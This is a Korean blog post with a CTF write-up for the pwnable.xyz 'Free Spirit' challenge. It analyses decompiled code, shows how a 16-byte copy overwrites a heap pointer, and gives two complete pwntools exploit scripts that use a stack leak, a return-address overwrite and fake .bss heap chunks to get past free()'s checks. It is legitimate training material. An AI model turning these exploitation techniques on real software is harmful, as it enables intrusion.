ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Free Spirit write up
    System hacking training/pwnable.xyz 2020. 4. 4. 19:46

    Free Spirit (100)
    prob
    file, checksec binary

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      char *v3; // rdi@2
      signed __int64 i; // rcx@2
      int idx; // eax@5
      int result; // eax@19
      __int64 v7; // rdx@19
      __int64 v8; // [sp+8h] [bp-60h]@15
      void *ptr; // [sp+10h] [bp-58h]@1
      char buf; // [sp+18h] [bp-50h]@2
      __int64 v11; // [sp+48h] [bp-20h]@1
    
      v11 = *MK_FP(__FS__, 40LL);
      setup();
      ptr = malloc(0x40uLL);
      while ( 1 )
      {
        while ( 1 )
        {
          _printf_chk(1LL, (__int64)"> ");
          v3 = &buf;
          for ( i = 12LL; i; --i )
          {
            *(_DWORD *)v3 = 0;
            v3 += 4;
          }
          read(0, &buf, 0x30uLL);
          idx = atoi(&buf);
          if ( idx != 1 )
            break;
          __asm { syscall }                         // read(o, ptr, 0x20)
        }
        if ( idx <= 1 )
          break;
        if ( idx == 2 )
        {
          _printf_chk(1LL, (__int64)"%p\n");        // leak => &ptr
        }
        else if ( idx == 3 )
        {
          if ( (unsigned int)limit <= 1 )
            _mm_storeu_si128((__m128i *)&v8, _mm_loadu_si128((const __m128i *)ptr));
        }
        else
        {
    LABEL_16:
          puts("Invalid");
        }
      }
      if ( idx )
        goto LABEL_16;
      if ( !ptr )
        exit(1);
      free(ptr);
      result = 0;
      v7 = *MK_FP(__FS__, 40LL) ^ v11;
      return result;
    }

    main()함수는 다음과 같은 형태로 이뤄져있다.

     

    해당 바이너리는 while(1)로 계속 반복하면서

    1을 입력할 경우 : syscall

    2를 입력할 경우 : printf("%p")

    3을 입력할 경우 : _mm_storeu_si128()와 _mm_loadu_si128()를 이용한 값 복사를 진행한다.

     

    이외의 값을 입력할 경우 puts("Invalid") 후 ptr이 가리키는 값이 0일 경우 exit(1) 아닐 경우 free(ptr)로 이전에 할당했던 heap chunk를 해제하며 종료된다.

     

    취약점은 3번 메뉴를 통해 발생하며 1번 메뉴를 통해 트리거할 수 있다.

    else if ( idx == 3 )
    {
    	if ( (unsigned int)limit <= 1 )
    	_mm_storeu_si128((__m128i *)&v8, _mm_loadu_si128((const __m128i *)ptr));
    }

    3번 메뉴는 limit이 1보다 작거나 같으면

     _mm_loadu_si128()함수를 호출하여 ptr이 가리키는 주소로부터 128bit, 즉 16byte를 로드한다.

    이후 로드한 16byte를 v8에 저장한다.

     

    하지만 스택 구조를 살펴보면

      char *v3; // rdi@2
      signed __int64 i; // rcx@2
      int idx; // eax@5
      int result; // eax@19
      __int64 v7; // rdx@19
      __int64 v8; // [sp+8h] [bp-60h]@15
      void *ptr; // [sp+10h] [bp-58h]@1
      char buf; // [sp+18h] [bp-50h]@2
      __int64 v11; // [sp+48h] [bp-20h]@1

    위와 같이 v8이 bp-0x60 / *ptr이 bp-0x58로 16byte를 로드하여 복사할 경우 *ptr또한 Overwrite가 된다.

     

    따라서 이 부분에서 buffer overflow 취약점이 발생하며

    이를 1번 메뉴를 통해 트리거 할 수 있었는데,

     

    Menu 1

    1번 메뉴를 실행 시키면 xor을 통해 rax를 항상 0으로 초기화 시켜 read()함수를 호출하며 0x20byte만큼 ptr이 가리키는 주소에 입력을 한다.

     

    이를 C코드로 표현하면 다음과 같은 형태가 된다.

    read(0, ptr, 0x20)

    앞서 분석한 3번 메뉴를 통해 ptr 변조가 가능했으니 이를 이용해 원하는 주소에 원하는 값을 넣을 수 있는 아주 나이스한 경우가 완성되었다.

     

    해당 바이너리는 Full RELRO이므로 got Overwrite는 못하니, 2번 메뉴를 통해 스택을 leak하여 ret까지의 offset를 계산 한 뒤 ret Overwrite를 하면 될것이다.

     

    위 시나리오를 토대로 페이로드를 작성하여 익스를 시도했다.

    from pwn import *
    
    p = process('./Free_Spirit')
    # p = remote('svc.pwnable.xyz', 30005)
    
    win = 0x400a3e
    bss = 0x601030
    
    # Step 1. leak stack address [sp+0x10] : ptr
    print 'Step 1.'
    p.sendlineafter('> ', '2')
    
    stack = int(p.recv(14), 16)
    print '[+]DEBUG [rsp+0x10] :',hex(stack)
    
    ret = stack + 0x58
    print '[+]DEBUG ret :',hex(ret)
    
    # Step 2. return address overwrite to win() address
    print 'Step 2.'
    buf = ''
    buf += 'A' * 8
    buf += p64(ret)
    p.sendlineafter('> ', '1')
    p.sendline(buf)
    p.sendlineafter('> ', '3')
    
    buf = ''
    buf += p64(win)
    buf += 'B' * 8
    p.sendlineafter('> ', '1')
    p.sendline(buf)
    
    p.sendlineafter('> ', '0')
    
    p.interactive()

    free() : invalid pointer

    하지만 free() : invalid pointer 라는 오류를 뱉으며 비정상 종료된다.

     

    이는 힙을 free할 때 호출되는 검증 코드에 의해 발생한 에러코드인데,

    해제하려는 chunk의 사이즈가 올바르지 않거나 align이 맞지 않을 경우 발생한다.

     

    따라서 이를 우회하기 위해서 임의 영역에 fake chunk를 만들어주고 free()함수의 인자로 넘겨야한다.

    이때 고려해야될 점은 아래와 같다.

     

    1. chunk의 size가 최소 범위인 0x20보다 커야한다.

    2. Fake chunk를 2개 이상 만들어야 한다.

    3. free(ptr)시 ptr에 chunk의 주소가 들어가 있어야한다.

     

    해당 문제를 풀이 하기 위해서는 위 조건만 만족시키면 되지만

    이외에도 여러가지 Security Checks가 존재한다.

     

    Ref (24p): https://theswissbay.ch/pdf/_to_sort/heap-exploitation.pdf

     

    위 내용을 토대로 페이로드를 작성해 보면 다음과 같다.

    from pwn import *
    
    # p = process('./Free_Spirit')
    p = remote('svc.pwnable.xyz', 30005)
    
    def debug():
    	s = 'b * 0x000000000040082b'
    	gdb.attach(p,s)
    
    def leak():
    	p.sendlineafter('> ', '2')
    	leak = int(p.recv(14), 16)
    	print 'Leak address :',hex(leak)
    
    	ret = leak + 0x58
    	print 'ret address :',hex(ret)
    
    	return ret
    
    def exploit(a, b):
    	p.sendlineafter('> ', '1')
    
    	if a == 'A':
    		pay = ''
    		pay += a * 8
    		pay += p64(b)
    
    	elif b == 'B':
    		pay = ''
    		pay += p64(a)
    		pay += 'B' * 8
    
    	else :
    		pay = ''
    		pay += p64(a)
    		pay += p64(b)
    
    	p.sendline(pay)
    	p.sendlineafter('> ', '3')
    
    
    # debug()
    ret = leak()
    win = 0x400a3e
    bss = 0x601030
    
    # write
    exploit('A', ret)
    exploit(win, bss+0x8)
    exploit(0x21, bss+0x20+0x8)
    exploit(0x21, ret-0x58)
    
    # exploit!
    buf = ''
    buf += p64(bss+0x30)
    buf += 'B' * 8
    p.sendlineafter('> ', '1')
    p.sendline(buf)
    
    p.sendlineafter('> ', '0')
    
    p.interactive()

    exploit이라는 사용자 정의 함수 만들어서 코드 중복을 조..금(?) 줄였고,

     

    leak()이라는 함수로 ptr의 주소를 가져와서, ret까지 구해준다.

    이후 ret에 win()함수의 주소를 넣을 뒤 fake chunk를 만들어줬는데, bss영역에 만들어줬다.

     

    .bss

    bss의 시작은 0x601010이지만 해당 영역에 값이 들어가 있어, 0x601030에 fake chunk를 만들어줬다.

     

    prev_inuse bit를 고려하여 0x21로 size를 맞춰줬고,

    next chunk의 size 역시 동일하게 맞춰주었다.

     

    fake chunk를 2개 만들어 준 뒤 ptr에 bss+0x30의 주소를 넣어줌으로서 free(bss+0x30)으로 free()함수의 Security Check을 우회했고, 변조한 main()의 return address인 win()함수를 실행 시킬 수 있었다.

     

    flag

    이상 풀이를 마친다.

    반응형

    'System hacking training > pwnable.xyz' 카테고리의 다른 글

    TLSv00 write up  (0) 2020.05.04
    two targets write up  (0) 2020.02.06
    xor write up  (0) 2020.02.05
    note write up  (1) 2020.01.10
    GrownUp write up  (0) 2020.01.02
Designed by Tistory.